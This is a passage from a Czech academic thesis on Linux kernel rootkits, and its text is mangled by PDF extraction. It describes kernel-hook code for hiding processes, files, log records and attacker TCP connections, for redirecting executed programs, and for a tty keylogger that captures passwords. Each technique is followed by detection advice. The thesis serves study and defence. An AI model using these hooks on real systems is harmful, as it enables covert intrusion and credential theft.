0, na´sˇ proces se ve vy´pisu beˇzˇ´ıc´ıch proces˚u neobjev´ı. Prˇi manipulaci s procesem mus´ıme
by´t opatrn´ı, nebot’ ukoncˇen´ı procesu (exit()) s PID 0 vyvola´ hava´rii syste´mu. Tento ele-
menta´rn´ı zp˚usob kryt´ı procesu ukazuje program cˇ. xv v prˇ´ıloze A.
Vsˇechny zmı´neˇne´ metody te´to podkapitoly o pla´novacˇi se navza´jem nevylucˇuj´ı a daj´ı se
kombinovat.
Mozˇnosti obrany a detekce
V prˇ´ıpadeˇ, zˇe selzˇou nebo nebyla nastolena preventivn´ı opatrˇen´ı z minuly´ch kapitol, mus´ı
administra´tor pro vyhleda´n´ı proces˚u pouzˇ´ıt metody represivn´ı. Mozˇnost´ı je neˇkolik a vzˇdy
souvis´ı s kontrolou vy´skytu dane´ho procesu v adresa´rˇi /proc. Zas´ıla´n´ım signa´l˚u2 pro-
ces˚um mu˚zˇeme zkontrolovat jejich vy´skyt v hashovac´ı tabulce pidhash. Pomoc´ı makra
for each process(p) zase vy´skyt v obousmeˇrne´m va´zane´m seznamu. Bohuzˇel metody
u´tocˇ´ıc´ı na pla´novacˇ mohou by´t prˇi vhodne´ kombinaci i proti teˇmto zp˚usob˚um imunn´ı.
Kazˇdy´ proces ale cˇas od cˇasu potrˇebuje obsadit procesor, a tak se mus´ı nacha´zet ale-
sponˇ v seznamu beˇzˇ´ıc´ıch proces˚u v pla´novacˇi. Jeho kontrola vsˇak jizˇ nen´ı tak trivia´ln´ı.
Zaj´ımavou mysˇlenkou je i pokus manipulovat3 s adresa´rˇi reprezentuj´ıc´ı procesy v /proc
a sledovat vy´sledne´ chova´n´ı (naprˇ. zkusit otevrˇ´ıt adresa´rˇe vsˇech mozˇny´ch PID). Posledn´ı
zp˚usob reflektuje fakt, zˇe kazˇdy´ proces mus´ı mı´t svoji rezˇijn´ı strukturu v pameˇti. Nab´ız´ı se
tedy kontrola cele´ pameˇti na vy´skyt teˇchto struktur, ktere´ mu˚zˇeme vyhleda´vat na za´kladeˇ
znalost´ı, jaky´ch hodnot naby´vaj´ı jejich polozˇky. Jedna´ se o nejpracneˇjˇs´ı a nejme´neˇ stabiln´ı
metodu. Prˇestozˇe je existence proces˚u v syste´mu pro u´tocˇn´ıka d˚ulezˇita´ (aktivn´ı vyuzˇit´ı
stroje), mu˚zˇe by´t v extre´mn´ım prˇ´ıpadech potlacˇena na minimum. Pro prˇ´ıstup na zkom-
promitovany´ syste´m mu˚zˇe pouzˇ´ıt sluzˇeb legitimneˇ beˇzˇ´ıc´ıch proces˚u, prˇ´ıpadneˇ je nebo jiny´
podsyste´m modifikovat.
3.2 Skry´va´n´ı adresa´rˇ˚u a soubor˚u
Podobneˇ jako jsme skry´vali procesy, budeme skry´vat i ostatn´ı objekty. Adresa´rˇ je z po-
hledu virtua´ln´ıho souborove´ho syste´mu pouze specia´ln´ı typ souboru4. Pro jeho skryt´ı tedy
mu˚zˇeme pouzˇ´ıt stejne´ algoritmy. Objekty ke skryt´ı identifikujeme naprˇ. pomoc´ı vlastn´ıka
cˇi podrˇeteˇzce, vyskytuj´ıc´ıho se v na´zvu souboru.
3.2.1 Syste´move´ vola´n´ı sys getdents{64}
Princip je analogicky´ s kap. 3.1.1 s rozd´ılem, zˇe na´s zaj´ımaj´ı vsˇechny souborove´ syste´my
krom specia´ln´ıho souborove´ho syste´mu /proc. V ko´du to znamena´ pouze zmeˇnu v cˇa´sti
podmı´nek. S vy´hodou vyuzˇijeme polozˇku dir->d name a budeme skry´vat soubory, obsa-
huj´ıc´ı na´mi nadefinovany´ podrˇeteˇzec. Porovna´n´ı rozd´ılu skry´va´n´ı proces˚u a soubor˚u:
skrytı´ procesu˚: jsme v /proc a adresa´rˇ ma´ na´zev shodny´ se skry´vany´m PID
if (in_proc(fd) && !_strcmp(dir->d_name, hide_pid))
2Pozor na prˇ´ıpad, kdy je modifikovane´ i syste´move´ vola´n´ı kill().
3Naprˇ. open(), stat(), ... opeˇt mu˚zˇe by´t podvrzˇeno.
4Oba jsou ve virtua´ln´ım souborove´m syste´mu objekty typu i-uzel.
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skrytı´ souboru˚: nejsme v /proc a adresa´rˇ obsahuje skry´vany´ rˇeteˇzec
if (!in_proc(fd) && _strstr(dir->d_name, hide_pattern))
Funkcˇn´ı uka´zku lze nale´zt pod cˇ. xvi prˇ´ılohy A.
3.2.2 Souborova´ operace vfs readdir
I zde se nejprve odka´zˇeme na prˇedesˇlou kap. 3.1.2. Zmeˇny vsˇak nebudeme prova´deˇt
na souborove´m syste´mu /proc, ny´brzˇ na souborove´m syste´mu, na ktere´m budeme ukry´vat
souborove´ objekty. Pokud bychom chteˇli skry´vat soubory na dvou r˚uzny´ch souborovy´ch
syste´mech, mus´ı doj´ıt k patrˇicˇny´m u´prava´m u obou neza´visle na sobeˇ. V praxi si ty-
picky vystacˇ´ıme s jedn´ım. Pro nalezen´ı odpov´ıdaj´ıc´ıho adresa´rˇove´ho objektu, ve ktere´m
zmeˇn´ıme funkci vfs readdir(), pouzˇijeme funkci filp open(). Srovna´n´ı zmeˇny funkce
vfs readdir() u souborove´ho syste´mu /proc a klasicke´ho souborove´ho syste´mu:
struct file_operations *fops; //Souborove´ operace (vcˇetneˇ vfs_readdir())
skrytı´ procesu˚: meˇnı´me operaci vfs_readdir() souborove´mu syste´mu /proc
fops = proc_root.proc_fops;
skrytı´ souboru˚: meˇnı´me operaci vfs_readdir() klasicke´ho soub. sys.
fops = (filp_open("/cesta/k/adresari/", O_RDONLY, 0600)->f_op);
Demonstracˇn´ı program je pod cˇ. xvii dodatku A.
Mozˇnosti obrany a detekce
Nejspolehliveˇjˇs´ım zp˚usobem, jak na disku naj´ıt vsˇechny objekty, je prˇipojit podezrˇely´ disk
do nenapadene´ho prostrˇed´ı. K tomu na´m mohou poslouzˇit tzv. live distribuce, ktere´ bootuj´ı
z cd a jsou bezpecˇneˇ cˇiste´. Bohuzˇel souborovy´ syste´m je veˇtsˇinou tak rozveˇtveny´, zˇe pro
dobre´ kryt´ı stacˇ´ı soubory pouze vhodneˇ pojmenovat a umı´stit. Dalˇs´ı mozˇnost´ı je potrˇebne´
soubory vzˇdy stahovat ze s´ıteˇ nebo umı´stit do operacˇn´ı pameˇti.
3.3 Skry´va´n´ı za´znamu˚ v souborech
U´tocˇn´ık cˇasto vyzˇaduje skry´t za´znamy v souborech, ktere´ nemohou by´t skryty jako
celek. Jsou totizˇ pouzˇ´ıva´ny syste´mem a jej´ımi administra´tory. K nejtypicˇteˇjˇs´ım prˇ´ıklad˚um
patrˇ´ı soubory passwd+shadow a konfiguracˇn´ı cˇi logovac´ı soubory. V teˇchto souborech se na´sˇ
za´znam sice v souboru fyzicky nacha´z´ı, na zkompromitovane´m syste´mu se ale za norma´ln´ıch
okolnost´ı nezobraz´ı5. Existuje i mozˇnost podvrhovat za´znamy v podobeˇ na´hrady jednoho
rˇeteˇzce za druhy´. Textove´ na´hrady jsou vsˇak cˇasoveˇ na´rocˇne´ operace a v prˇ´ıpadeˇ prˇ´ıliˇs
obecny´ch syste´movy´ch funkc´ı mu˚zˇe doj´ıt k znatelne´mu zpomalen´ı syste´mu.
3.3.1 Syste´move´ vola´n´ı sys read
Pro cˇten´ı ze souboru pouzˇ´ıvaj´ı aplikacˇn´ı programy syste´move´ vola´n´ı read(.., char
*buf, ..). Nasˇ´ım u´kolem je upravit nacˇtena´ data *buf a na´vratovou hodnotu return tak,
aby neobsahovaly na´mi skryte´ za´znamy. Efekt mu˚zˇe by´t bud’to globa´ln´ı, nebo aplikovany´
pouze na konkre´tn´ı typ soubor˚u. Ten mu˚zˇeme zjistit z tabulky otevrˇeny´ch soubor˚u takto:
current->files->fd[fd]->f dentry->d name.name. Za prˇipomı´nku stoj´ı, zˇe ukazatel
*buf ukazuje do uzˇivatelske´ho prostoru a pro pra´ci s jeho daty je mus´ıme prˇesunout do
5Viz mozˇnosti obrany a detekce.
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jaderne´ho prostoru (d˚uvod je ochrana kazˇde´ho z prostor˚u). Nova´ funkce new sys read()
mu˚zˇe vypadat takto:
ssize_t res;void *kbuf = NULL;char *p;
res = old_sys_read(fd, buf, count); //Pu˚vodnı´ vola´nı´ sys_read()
if (res <= 0) return res;
kbuf = kmalloc (res, GFP_KERNEL); //Alokace mı´sta v jaderne´m prostoru
if (!kbuf) return 0;
copy_from_user(kbuf, buf, res); //Prˇesun dat uzˇiv.->jader. prostor
/**TEXTOVE´ U´PRAVY *kbuf A KOREKCE res**/
copy_to_user(buf, kbuf, res); //Na´vrat dat jader.->uzˇiv. prostor
kfree(kbuf); //Uvolneˇnı´ mı´sta v jaderne´m prostoru
return res;
Demonstracˇn´ı modul se nacha´z´ı pod cˇ. xviii v prˇ´ıloze A.
3.3.2 Souborova´ operace vfs read
Cˇten´ı ze souboru patrˇ´ı k mnozˇineˇ operac´ı implementovany´ch ve virtua´ln´ım souborove´m
syste´mu. Najdeme ji pod na´zvem vfs read(). Tato funkce je zprostrˇedkovaneˇ vyvola´na (po-
dobneˇ jako funkci vfs readdir() vyvola´va´ funkce sys getdents()) jizˇ zmı´neˇny´m syste´mo-
vy´m vola´n´ım sys read(). Opeˇt plat´ı, zˇe kazˇdy´ souborovy´ syste´m ma´ tuto funkci unika´tn´ı.
Vy´hodou tohoto zp˚usobu je snazsˇ´ı prˇ´ıstup k souborove´mu objektu a fakt, zˇe pracujeme
v jaderne´m prostoru. Nen´ı tedy nutne´ prova´deˇt kopii a ko´d je jednodusˇsˇ´ı:
struct file *f = filp_open(/cesta/k/souboru, O_RDONLY, 0600);
old_read = f->f_op->read; //Ulozˇ pu˚vodnı´ funkci pro uzˇitı´ v new_read()
f->f_op->read = new_read; //Nahrad’ pu˚vodnı´ operaci funkcı´ new_read()
ssize_t new_read(struct file *file,char __user *buf,size_t count,loff_t *pos)
{
ssize_t res = old_read(file, buf, count, pos); //Pu˚vodnı´ operace
/**TEXTOVE´ U´PRAVY *buf A KOREKCE res**/
return res;
}
Uka´zkovy´ program je pod cˇ. xix dodatku A.
Mozˇnosti obrany a detekce
Pro detekci skryty´ch za´znamu˚ v souborech mu˚zˇeme vyuzˇ´ıt stejne´ metody jako v prˇ´ıpadeˇ
skryty´ch soubor˚u v kap. 3.2. Dalˇs´ı z mozˇnost´ı je cˇ´ıst data pouze po 1 bajtu6 a t´ım znemozˇnit
identifikaci nahrazovane´ho rˇeteˇzce.
6Prˇ. cˇten´ı souboru /etc/shadow programem dd: dd if=/etc/shadow bs=1.
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3.4 Skry´va´n´ı spojen´ı
K tomu, aby mohl u´tocˇn´ık svoji obeˇt’ v budoucnu vyuzˇ´ıt, mus´ı si k n´ı udrzˇet prˇ´ıstup.
Ve valne´ veˇtsˇineˇ prˇ´ıpad˚u se jedna´ o prˇ´ıstup vzda´leny´, mozˇny´ pouze prˇes pocˇ´ıtacˇovou s´ıt’.
U´tocˇn´ık potrˇebuje svoji komunikaci s napadenou stanic´ı maskovat, aby nevzbudil podezrˇen´ı
spra´vc˚u diskreditovane´ho syste´mu. Nasˇ´ım c´ılem je ”vymazat“ vesˇkere´ za´znamy vedene´ o ko-
munikaci s u´tocˇn´ıkem. Na prvn´ı pohled by se mohlo zda´t, zˇe skry´va´n´ı spojen´ı je specia´ln´ım
prˇ´ıpadem skry´va´n´ı za´znamu˚ v souborech (kap. 3.3). Toto rˇesˇen´ı by bylo sice trivia´ln´ı, ale
neprˇ´ıliˇs elegantn´ı. Na´sˇ prˇ´ıstup bude spocˇ´ıvat v trasova´n´ı s´ıt’ovy´ch na´stroj˚u (naprˇ. netstat),
ktere´ na´m odhal´ı za zdroj svy´ch informac´ı adresa´rˇ /proc/net.
3.4.1 Adresa´rˇ /proc/net
Nasˇ´ım c´ılem je opeˇt specia´ln´ı souborovy´ syste´m /proc. Nyn´ı si uka´zˇeme jak skry´t vesˇkera´
TCP/IP spojen´ı. V prvn´ı fa´zi mus´ıme v adresa´rˇi /proc/net vyhledat soubor reprezentuj´ıc´ı
tcp spojen´ı a prove´st na´hradu funkce, ktera´ takove´ informace v souboru zprˇ´ıstupnˇuje. Jedna´
se o funkci seq show a jej´ı nalezen´ı a zmeˇnu popisuje na´sleduj´ıc´ı ko´d:
tcp = proc_net->subdir->next; //Vyhleda´nı´ souboru s na´zvem ’tcp’




Funkce new tcp seq show() ma´ za u´kol odfiltrovat nevhodna´ spojen´ı, ktera´ pozna´ podle
ip adresy. Jej´ı princip je podobny´ funkci new filldir(), kdy u spojen´ı, ktera´ nechceme do
vy´sledku zahrnout, vra´t´ıme 0. Jinak vrac´ıme vy´sledek origina´ln´ı funkce.
inet = connection; //Ukazatel na za´znam nesoucı´ informace o spojenı´
if ((inet->daddr == global_ip) || (inet->rcv_saddr == global_ip))
return(0); //Figuruje-li nasˇe ip adresa ve spojenı´, potlacˇ vy´pis
else
return((*old_tcp_seq_show)(seq, v)); //Pu˚vodnı´ funkce
V u´vahu mus´ıme bra´t i stav TCP spojen´ı a dalˇs´ı souvislosti. Implementacˇn´ı podrobnosti,
ktere´ reflektuj´ı i stav TCP spojen´ı, lze nale´zt v doprovodne´ aplikaci pod cˇ. xx dodatku A.
3.4.2 Alternativy
V prˇ´ıpadeˇ, zˇe nevyzˇadujeme kvalitu TCP spojen´ı, mu˚zˇeme pouzˇ´ıt spojen´ı lehcˇ´ı. Nejcˇa-
steˇjˇs´ı alternativu tvorˇ´ı spojen´ı na ba´zi protokolu ICMP, kdy jsou prˇena´sˇena´ data schova´na
do teˇla ICMP paketu. V tomto prˇ´ıpadeˇ na c´ılove´ stanici nevznika´ zˇa´dne´ perzistentn´ı spojen´ı
a nen´ı potrˇeba nic filtrovat. Prˇena´sˇena´ data je vhodne´ zasˇifrovat pro prˇ´ıpad jejich odchycen´ı
s´ıt’ovy´mi analyza´tory. Obl´ıbenou variantou je pomoc´ı ICMP dotazu o vhodny´ch paramet-
rech (naprˇ. de´lce paketu) vytvorˇit reverzn´ı TCP spojen´ı z napadene´ho stroje na u´tocˇn´ık˚uv
pocˇ´ıtacˇ.
Mozˇnosti obrany a detekce
Prˇi analy´ze spojen´ı je vhodne´ informace z koncove´ho zarˇ´ızen´ı konfrontovat se zbyly´mi
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s´ıt’ovy´mi zarˇ´ızen´ımi. Mohou to by´t smeˇrovacˇe cˇi s´ıt’ovy´ analyza´tor7, ktery´ by´va´ ze s´ıteˇ ne-
dosazˇitelny´. Vhodny´m pomocn´ıkem jsou i internetove´ firewally. Nejenzˇe zteˇzˇuj´ı u´tocˇn´ıkovi
pra´ci, ale take´ snizˇuj´ı mnozˇstv´ı komunikacˇn´ıch kana´l˚u, ktery´mi mohou do nasˇeho syste´mu
proudit informace.
3.5 Prˇesmeˇrova´n´ı spousˇteˇne´ho programu
Hlavn´ı mysˇlenka te´to metody spocˇ´ıva´ ve spusˇteˇn´ı za´stupne´ho programu namı´sto pro-
gramu origina´ln´ıho. Uzˇivatel podvrzˇenou aplikaci steˇzˇ´ı rozpozna´, nebot’ jemu zamy´sˇleny´
program ke spusˇteˇn´ı se na sve´m mı´steˇ skutecˇneˇ nacha´z´ı.
3.5.1 Syste´move´ vola´n´ı sys execve
Prvn´ı zp˚usob pokry´va´ zmeˇnu prˇ´ıslusˇne´ho syste´move´ho vola´n´ı sys execve(). Jedna´ se
de facto pouze o zmeˇnu cesty k podvrzˇene´ aplikaci v prˇ´ıpadeˇ, zˇe ma´ by´t spusˇteˇna aplikace
origina´ln´ı. Ukazatel na rˇeteˇzec reprezentuj´ıc´ı cestu nalezneme v regs.ebx. V prˇ´ıpadeˇ, zˇe se
shoduje s cestou v promeˇnne´ remove, je nahrazena cestou z promeˇnne´ replace:
filename = getname((char __user *) regs.ebx); //Na´zev programu
if (!strcmp(filename, remove)) { //Zmeˇna cesty k programu?
//PRˇEDPOLAD strlen(remove) > strlen(replace)
_memcpy((char __user *)regs.ebx, replace, replace_len);//Za´stupny´ program
((char __user *)regs.ebx)[replace_len] = 0; //Ukoncˇenı´ rˇeteˇzce ’\0’
}
putname(filename);
return old_sys_execve(regs); //Vyvola´nı´ origina´lnı´ funkce
Uka´zkovy´ modul lze nale´zt pod cˇ. xxi v prˇ´ıloze A.
3.5.2 Funkce do execve
Prozkouma´me-li syste´move´ vola´n´ı sys execve() d˚ukladneˇji, zjist´ıme, zˇe je pouze oba´lkou
pro vy´konnou funkci do execve(). Za pouzˇit´ı principu z kapitoly 2.2.1 prˇep´ıˇseme prvn´ıch
7B a funkci pomoc´ı instrukce jmp prˇesmeˇrujeme na funkci nasˇi. V te´ provedeme test cesty a
prˇ´ıpadnou za´meˇnu spolu s vyvola´n´ım origina´ln´ı funkce. Vy´hodou tohoto zp˚usobu je hlubsˇ´ı
zanorˇen´ı do ja´dra. Nevy´hodou je dnesˇn´ı neexportace symbolu8 do execve(). Implementaci
tohoto zp˚usobu nalezneme v prˇ´ıloze A pod cˇ. xxii.
3.5.3 Funkce open exec
Podobneˇ jako v prˇedesˇle´m prˇ´ıpadeˇ i nada´le mu˚zˇeme pokracˇovat do hlubin ja´dra zkouma´-
n´ım funkce do execve(). Prˇedt´ım, nezˇ bude program zaveden do pameˇti, mus´ı by´t nacˇten
z bina´rn´ıho souboru. Prˇesneˇ k tomuto u´cˇelu slouzˇ´ı funkce open exec(). Zmeˇnu funkce
open exec() demonstruje program cˇ. xxiii dodatku A.
7Tvorˇ´ı za´klad pro IDS a IPS syste´my. Veˇtsˇinou tvorˇ´ı spoj na L1 vrstveˇ a je t´ım ze s´ıt’ove´ho pohledu
neviditelny´.
8Viz vyhleda´n´ı adres symbol˚u v System.map nebo /proc/kallsyms.
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3.5.4 Funkce load binary
Jakmile je bina´rn´ı soubor otevrˇen, mus´ı by´t zpracova´n vzhledem ke sve´mu typu. O toto
zpracova´n´ı se stara´ funkce load binary(), jezˇ je soucˇa´st´ı datove´ struktury struct
linux binfmt. Mu˚zˇeme si tedy vytvorˇit vlastn´ı upravenou verzi (new load binary()),
ktera´ doka´zˇe prˇed nahra´n´ım zmeˇnit zdrojovy´ soubor:
if (!strcmp(bin->filename, remove)) { //Teˇsneˇ prˇed natazˇenı´m binarnı´ho
filp_close(bin->file, 0); //souboru zkontrolujeme jeho
bin->file = open_exec(replace); //umı´steˇnı´ a prˇı´padneˇ nahradı´me
prepare_binprm(bin); //jiny´m (’replace’ za ’remove’)
}
return old_load_binary(bin, regs); //Pokracˇuj v pu˚vodnı´ funkci
Jak lze ocˇeka´vat, funkce load binary() nen´ı exportova´na. Zde si ale mu˚zˇeme pomoci
jiny´m zp˚usobem. Vyuzˇijeme k tomu syste´move´ vola´n´ı sys open() a funkci load binary()
se pokus´ıme odchytit. Budeme spole´hat na to, zˇe Linuxove´ ja´dro nativneˇ podporuje nejcˇa-
steˇjˇs´ı spustitelny´ forma´t ELF. Jakmile zjist´ıme adresu na´mi hledane´ funkce load binary(),
mu˚zˇeme syste´move´ vola´n´ı sys open() vra´tit do p˚uvodn´ıho stavu:
long ret = old_sys_open(filename, flags, mode); //Pu˚vodnı´ vola´nı´ sys_open()
if (elf_bin == NULL) { //Funkci load_binary() jsme zatı´m neodchytli
elf_bin = current->binfmt;
old_load_binary = elf_bin->load_binary; //Ulozˇenı´ hledane´ funkce
elf_bin->load_binary = &new_load_binary; //Nahrazenı´ funkcı´ nasˇı´
if (sys_call_table) //Obnova pu˚vodnı´ funkce
sys_call_table[__NR_open] = old_sys_open; //sys_open()
}
return ret;
Funkcˇn´ı modul je pod cˇ. xxiv v prˇ´ıloze A.
Mozˇnosti obrany a detekce
Mozˇnost´ı jak prˇesmeˇrovat spousˇteˇny´ program je mnoho. Existuj´ı i experimenta´ln´ı vari-
anty9, ktere´ prˇesmeˇrova´vaj´ı rˇ´ızen´ı azˇ v posledn´ı mozˇny´ okamzˇik – prˇi mapova´n´ı do pameˇti.
Pomineme-li mozˇnost testovat kazˇdy´ z ukazatel˚u, ktere´ jsme v te´to podkapitole meˇnili,
nema´me jizˇ mnoho zp˚usob˚u, jak u´tocˇn´ıka odhalit. Prˇesmeˇrovany´ soubor nen´ı modifikova´n
a podvrzˇeny´ soubor se v˚ubec nemus´ı nacha´zet na souborove´m syste´mu! Mı´sto toho mu˚zˇe
by´t uschova´n v operacˇn´ı pameˇti (nejle´pe zasˇifrova´n) a na disk ulozˇen azˇ v prˇ´ıpadeˇ zˇa´dosti
o spusˇteˇn´ı. Existuje i alternativa, kdy je z pameˇti mapova´n zpa´tky do pameˇti bez nut-
nosti ulozˇen´ı na disk. Ve vy´sledku na´m mu˚zˇe prˇipomı´nat jizˇ zminˇovane´ nahrazova´n´ı utilit
(kap. 2.1.1), zde ale za plne´ asistence beˇzˇ´ıc´ıho ja´dra. Za zmı´nku stoj´ı, zˇe tento zp˚usob se
cˇasto pouzˇ´ıva´ na tzv. Honeypot stroj´ıch, cozˇ jsou le´cˇky pro hackery, umozˇnˇuj´ıc´ı zkoumat
jejich techniky a pouzˇ´ıvane´ na´stroje.
3.6 Odposlech
Odposloucha´va´n´ı je dalˇs´ı ze zp˚usob˚u z´ıska´va´n´ı informac´ı o napadene´m stroji. Umozˇnˇuje
na´m zachytit i zpra´vy, ktere´ prˇes operacˇn´ı syste´m procha´z´ı a nejsou adresova´ny prˇ´ımo jemu.
9Pro jejich slozˇitost a malou prˇenositelnost je zde nebudeme uva´deˇt.
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V te´to podkapitole se zameˇrˇ´ıme pouze na na´stroje pracuj´ıc´ı v jaderne´m prostoru. Existuje i
rˇada aplikac´ı, ktere´ si vystacˇ´ı pouze s uzˇivatelsky´m prostorem (Spyware). Teˇmi se v dalˇs´ım
textu zaby´vat nebudeme.
3.6.1 Odposlech stisknuty´ch kla´ves (keylogging)
Pro nalezen´ı vhodny´m mı´st pro umı´steˇn´ı odposlechovy´ch funkc´ı na´m poslouzˇ´ı obra´zek 3.1.
Po stisku kla´vesy na kla´vesnici doraz´ı elektricke´ signa´ly do rˇadicˇe prˇerusˇen´ı. Pokud nen´ı
uda´lost maskova´na (je povolena), docha´z´ı k prˇeda´n´ı zˇa´dosti centra´ln´ı vy´pocˇetn´ı jednotce.
Procesor zastav´ı pra´veˇ prova´deˇnou cˇinnost a prˇeda´va´ rˇ´ızen´ı funkc´ım irq entries start(),
do IRQ() a handle IRQ event(), ve ktery´ch docha´z´ı k prvotn´ım akc´ım, jednotny´m pro
vsˇechna prˇerusˇen´ı. Konkre´tn´ı obsluzˇna´ rutina prˇerusˇen´ı je vyvola´na azˇ ve handle IRQ event()
a je identifikova´na unika´tn´ım cˇ´ıslem irq10. Ve veˇtsˇineˇ prˇ´ıpad˚u je rozdeˇlena na dveˇ cˇa´sti:
• Prvn´ı cˇa´st obsluhy (top halve) – je cˇa´st obsluhy, ktera´ mus´ı by´t vykona´na
okamzˇiteˇ. Meˇla by obsahovat pouze nejnutneˇjˇs´ı akce potrˇebne´ k uveden´ı obsluho-
vane´ho zarˇ´ızen´ı zpa´tky do provozu. Veˇtsˇinou se jedna´ o prˇesun dat z periferie do
operacˇn´ı pameˇti a restartova´n´ı periferie.
• Druha´ cˇa´st obsluhy (bottom halve) – obsahuje akce, souvisej´ıc´ı se zpracova´n´ım
pra´veˇ z´ıskany´ch dat. Tyto akce jsou spusˇteˇny azˇ ve chv´ıli, kdy se syste´m nacha´z´ı






















Obra´zek 3.1: Sche´ma prˇerusˇen´ı od kla´vesnice
Prvn´ı cˇa´st obsluhy v nasˇem prˇ´ıpadeˇ zastupuje funkce handle scancode(). Ko´dy vyslane´
z kla´vesnice jsou v n´ı transformova´ny na znaky, resp. kombinace znak˚u. Znaky jsou pak za
pomoci funkce put queue() vlozˇeny do fronty tty flip buffer, kde cˇekaj´ı na dalˇs´ı zpra-
cova´n´ı. K neˇmu docha´z´ı v druhe´ cˇa´sti prˇi prˇesunu do fronty tty read queue pod veden´ım
funkce receive buf(). Tady uzˇ jen cˇekaj´ı na pokyn k vyzvednut´ı od syste´move´ho vola´n´ı
10Interrupt request – zˇa´dost o prˇerusˇen´ı.
11Cˇasto ihned po prvn´ı cˇa´sti.
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sys read(), ktere´ aktivuje prˇ´ıslusˇne´ obsluzˇne´ funkce ve virtua´ln´ım souborove´m syste´mu
(vfs read() a tty read()).
Jak je patrno, zpracova´n´ı stisknute´ kla´vesy procha´z´ı rˇadou obsluzˇny´ch funkc´ı. Ne vsˇechny
jsou vsˇak pro nasˇe u´cˇely vhodne´. Jedn´ım ze za´kladn´ıch pozˇadavk˚u je mozˇnost ukla´dat
nacˇtene´ znaky do souboru, k cˇemuzˇ mus´ıme vyuzˇ´ıt sluzˇeb virtua´ln´ıho souborove´ho syste´mu12.
Meˇli bychom tedy zvolit mı´sto, ktere´ nebude svoj´ı cˇinnost´ı neu´meˇrneˇ zateˇzˇovat napadeny´
syste´m. Nejvhodneˇjˇs´ım kandida´tem je druha´ cˇa´st obsluhy, ktera´ je pro na´rocˇneˇjˇs´ı akce
prˇ´ımo prˇedurcˇena. Veˇtsˇinou totizˇ do souboru nezaznamena´va´me vesˇkere´ prˇenesene´ znaky,
ale pouze znaky od vybrany´ch proces˚u cˇi jinak vy´znamne´ rˇeteˇzce (hesla). Jejich identifikace
nen´ı trivia´ln´ı za´lezˇitost´ı.
Pro demonstracˇn´ı u´cˇely tedy pouzˇijeme prˇesmeˇrova´n´ı funkce receive buf(). Ta se vzˇdy
va´zˇe na konkre´tn´ı termina´l. V praxi takto uprav´ıme vsˇechny dostupne´ termina´ly. Nahrazen´ı
funkce receive buf() termina´lu hacktty zobrazuje na´sleduj´ıc´ı ko´d:
struct file *f=filp_open(hacktty, O_RDONLY, 0); //Otevrˇeme konzoly ’hacktty’
struct tty_struct *tty = f->private_data;
old_receive_buf = tty->ldisc.receive_buf; //Pu˚vodnı´ funkci uchova´me
tty->ldisc.receive_buf = new_receive_buf; //a nahradı´me nasˇı´
Nova´ obsluzˇna´ funkce new receive buf() vyvola´ zalogova´n´ı rˇeteˇzce a vyvola´n´ı origina´ln´ı
funkce. Jej´ı obsah je prˇiblizˇneˇ na´sledovny´:
if (write_to_file(logfile,(char *)cp,count) == -1) //Zapisˇ data do souboru
printk(KERN_INFO "Nepovedlo se zapsat do souboru %s.\n", logfile);
old_receive_buf(tty, cp, fp, count); //Pokracˇuj ve vykona´va´nı´ pu˚vodnı´ funkce
Logovac´ı funkce je v nasˇem prˇ´ıpadeˇ pouze syrovy´ za´pis do souboru. V praxi by meˇla ob-
sahovat vyrovna´vac´ı pameˇt’, ktera´ minimalizuje pomaly´ za´pis do souborove´ho syste´mu a
transformacˇn´ı mapu pro specia´ln´ı znaky. Funkce write to file():
mm_segment_t old_fs = get_fs();
lock_kernel(); //Zacˇa´tek kriticke´ sekce (uzamcˇenı´)
set_fs(get_ds()); //U´prava hranice virt. adr. prosotru (viz da´le)
f = filp_open(file, O_CREAT|O_APPEND, 00600); //Zapisˇ do souboru
if (!IS_ERR(f)) {
if (f->f_op && f->f_op->write) {
ret = f->f_op->write(f, buf, size, &f->f_pos);
}
filp_close(f, NULL); //Uzavrˇi soubor
}
set_fs(old_fs); //Navra´cenı´ hranic virt. adr. prostoru
unlock_kernel(); //Konec kriticke´ sekce (odemcˇenı´)
12V prˇ´ıpadeˇ, zˇe nelze prˇistupovat k souboru nebo bude ukla´dany´ch informac´ı ma´lo, mu˚zˇe poslouzˇit i
operacˇn´ı pameˇt’.
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Funkce set fs(get ds()) a set fs(old fs) jsou v ko´du za u´cˇelem vyvola´n´ı syste´move´ho
vola´n´ı z jaderne´ho prostoru. Umozˇnˇuj´ı na kra´tkou chv´ıli upravit hranice virtua´ln´ıho ad-
resove´ho prostoru a umozˇnit tak prˇedat parametry funkci, ktera´ je ocˇeka´va´ vy´hradneˇ
z uzˇivatelske´ho prostoru. Funkce lock kernel() a unlock kernel() zajiˇst’uj´ı atomicitu
cele´ operace pomoc´ı za´mku. Uka´zkovy´ modul je pod cˇ. xxv dodatku A.
3.6.2 Odposlech syste´movy´ch funkc´ı sys read/write()
Ma´me-li za´jem o komplexn´ı zjiˇst’ova´n´ı informac´ı o syste´mu, bude pro na´s nejzaj´ımaveˇjˇs´ı
dvojice zajiˇst’uj´ıc´ı vstup–vy´stupn´ı operace, syste´move´ funkce sys read() a sys write().
Jak lze prˇedpokla´dat, mnozˇstv´ı informac´ı procha´zej´ıc´ıch prˇes tyto funkce bude obrovske´ a
my je budeme muset filtrovat. Veˇtsˇinou na´s budou zaj´ımat konkre´tn´ı aplikace (ssh, login,
su, ...) a jejich informace souvisej´ıc´ı s kontrolou prˇ´ıstupu (Password, password, ...). Prˇ´ıklad
programu se nacha´z´ı v prˇ´ıloze A pod cˇ. xxvi.
Mozˇnosti obrany a detekce
Odposlech je cˇasty´ doprovodny´ jev na napadene´m syste´mu. C´ılem u´tocˇn´ıka je zisk d˚uveˇrny´ch
informac´ı, prˇedevsˇ´ım hesel. Prˇi obnovova´n´ı syste´mu je tak nanejvy´sˇ vhodne´ zmeˇnit vsˇechna
hesla vsˇech uzˇivatel˚u syste´mu. Cˇastou snahou u´tocˇn´ıka je take´ prˇepnout s´ıt’ovou kartu do
tzv. promiskuitn´ıho mo´du, kdy mu˚zˇe sledovat vesˇkery´ provoz prˇes s´ıt’ovou kartu.
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Kapitola 4
Infiltrace a prˇetrva´n´ı v OS
Posledn´ı kapitola pokry´va´ te´mata souvisej´ıc´ı s pr˚unikem rootkitu do jaderne´ho adre-
sove´ho prostoru a jeho setrva´n´ı v neˇm i po restartova´n´ı napadene´ho syste´mu. Cˇa´st kapitoly
je veˇnova´na jejich komunikacˇn´ım rozhran´ım. Prˇi tvorbeˇ kapitoly mi byly oporou komu-
nitn´ı cˇla´nky [31, 32, 33, 34, 35, 36] a studovane´ zdrojove´ ko´dy porovna´vany´ch rootkit˚u
